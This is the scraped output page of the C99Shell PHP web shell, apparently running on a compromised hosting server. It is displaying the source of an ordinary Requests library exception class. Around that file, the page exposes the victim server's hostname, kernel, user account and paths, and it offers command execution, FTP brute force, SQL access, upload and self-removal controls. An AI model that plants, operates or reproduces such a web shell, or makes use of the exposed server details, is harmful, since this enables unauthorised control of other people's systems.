!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-inc/Requests/Exception/   drwxr-xr-x
Free 293.88 GB of 429.69 GB (68.39%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     HTTP.php (1.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Exception based on HTTP response
 *
 * @package Requests
 */

/**
 * Exception based on HTTP response
 *
 * @package Requests
 */
class Requests_Exception_HTTP extends Requests_Exception {
    
/**
     * HTTP status code
     *
     * @var integer
     */
    
protected $code 0;

    
/**
     * Reason phrase
     *
     * @var string
     */
    
protected $reason 'Unknown';

    
/**
     * Create a new exception
     *
     * There is no mechanism to pass in the status code, as this is set by the
     * subclass used. Reason phrases can vary, however.
     *
     * @param string|null $reason Reason phrase
     * @param mixed $data Associated data
     */
    
public function __construct($reason null$data null) {
        if (
$reason !== null) {
            
$this->reason $reason;
        }

        
$message sprintf('%d %s'$this->code$this->reason);
        
parent::__construct($message'httpresponse'$data$this->code);
    }

    
/**
     * Get the status message
     */
    
public function getReason() {
        return 
$this->reason;
    }

    
/**
     * Get the correct exception class for a given error code
     *
     * @param int|bool $code HTTP status code, or false if unavailable
     * @return string Exception class name to use
     */
    
public static function get_class($code) {
        if (!
$code) {
            return 
'Requests_Exception_HTTP_Unknown';
        }

        
$class sprintf('Requests_Exception_HTTP_%d'$code);
        if (
class_exists($class)) {
            return 
$class;
        }

        return 
'Requests_Exception_HTTP_Unknown';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0042 ]--